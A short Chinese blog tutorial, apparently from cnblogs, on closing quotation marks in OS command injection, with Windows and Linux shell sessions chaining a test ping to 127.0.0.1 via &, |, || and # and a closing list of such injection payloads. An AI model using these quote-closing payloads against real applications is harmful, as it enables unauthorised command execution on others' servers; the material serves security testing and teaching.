• 关于OS命令注入的闭合问题


    1、在Windows下

     1 windows下非常好办,只需要&肯定可以执行:
     2 C:UsersxxxDesktop>aaaa | ping -n 5 127.0.0.1
     3 'aaaa' 不是内部或外部命令,也不是可运行的程序
     4 或批处理文件。
     5 
     6 C:UsersxxxDesktop>C:Userschenran01.ESGDesktop	est.bat
     7 
     8 C:UsersxxxDesktop>aaaa' | ping -n 5 127.0.0.1
     9 'aaaa'' 不是内部或外部命令,也不是可运行的程序
    10 或批处理文件。
    11 
    12 C:UsersxxxDesktop>C:Userschenran01.ESGDesktop	est.bat
    13 
    14 C:UsersxxxDesktop>aaaa' & ping -n 5 127.0.0.1
    15 'aaaa'' 不是内部或外部命令,也不是可运行的程序
    16 或批处理文件。
    17 
    18 正在 Ping 127.0.0.1 具有 32 字节的数据:
    19 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    20 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    21 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    22 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    23 来自 127.0.0.1 的回复: 字节=32 时间<1ms TTL=128
    24 
    25 127.0.0.1 的 Ping 统计信息:
    26     数据包: 已发送 = 5,已接收 = 5,丢失 = 0 (0% 丢失),
    27 往返行程的估计时间(以毫秒为单位):
    28     最短 = 0ms,最长 = 0ms,平均 = 0ms
    29 
    30 C:UsersxxxDesktop>

    或者把&换成||上文中的例子也可以执行。

    2、在Linux下:

    在Linux下就显得复杂一些了

    先来看一个可以执行的例子:

    1 $ 'aaaa'|ping -c 4 127.0.0.1 # ''
    2 -bash: aaaa: command not found
    3 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
    4 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.042 ms
    5 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
    6 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.068 ms
    7 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.054 ms

    # ' 来闭合最后的'从而达到了命令注入执行,如果去掉#就发现不行了

    1 $ 'aaaa|ping -c 4 127.0.0.1  ''
    2 > 

    类似的这种需要闭合前面的'

     1 $ 'aaaa'|ping -c 4 127.0.0.1 
     2 -bash: aaaa: command not found
     3 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
     4 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.063 ms
     5 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
     6 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.066 ms
     7 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.062 ms
     8 
     9 --- 127.0.0.1 ping statistics ---
    10 4 packets transmitted, 4 received, 0% packet loss, time 3000ms
    11 rtt min/avg/max/mdev = 0.062/0.065/0.072/0.010 ms
    12 $ 'aaaa|ping -c 4 127.0.0.1 
    13 > 

    上面是使用|的一些例子,下面来看看&

     1 $ 'aaa'&ping -c 4 127.0.0.1
     2 [1] 4434
     3 -bash: aaa: command not found
     4 PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
     5 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
     6 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.069 ms
     7 64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.057 ms
     8 64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.067 ms
     9 
    10 --- 127.0.0.1 ping statistics ---
    11 4 packets transmitted, 4 received, 0% packet loss, time 2999ms
    12 rtt min/avg/max/mdev = 0.057/0.064/0.069/0.010 ms
    13 [1]+  Exit 127                'aaa'
    14 $ 

    综上闭合OS执行的payload只需:

    1 #windows:
    2 'aaa&ping 127.0.0.1&'
    3 'aaa||ping 127.0.0.1||'
    4 #linux下:
    5 'aaa'&ping -c 4 127.0.0.1
    6 'aaa'|ping -c 4 127.0.0.1
    7 'aaa'|ping -c 4 127.0.0.1# ''
  • 相关阅读:
    Android基础TOP4:Tost的使用
    Android基础TOP3_1:纵横屏切换
    Android基础TOP3:线性布局的特点,常用属性,及权重值
    Android基础TOP3:Activity的线性,相对,帧和表格布局的概括
    Android基础TOP2:单机按钮改变字体颜色
    Android基础TOP2_1:输出系统时间
    Python
    Linux-部署ftp
    Linux-部署mysql
    Python-创造百万条数据库数据
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8313454.html
Copyright © 2020-2023  润新知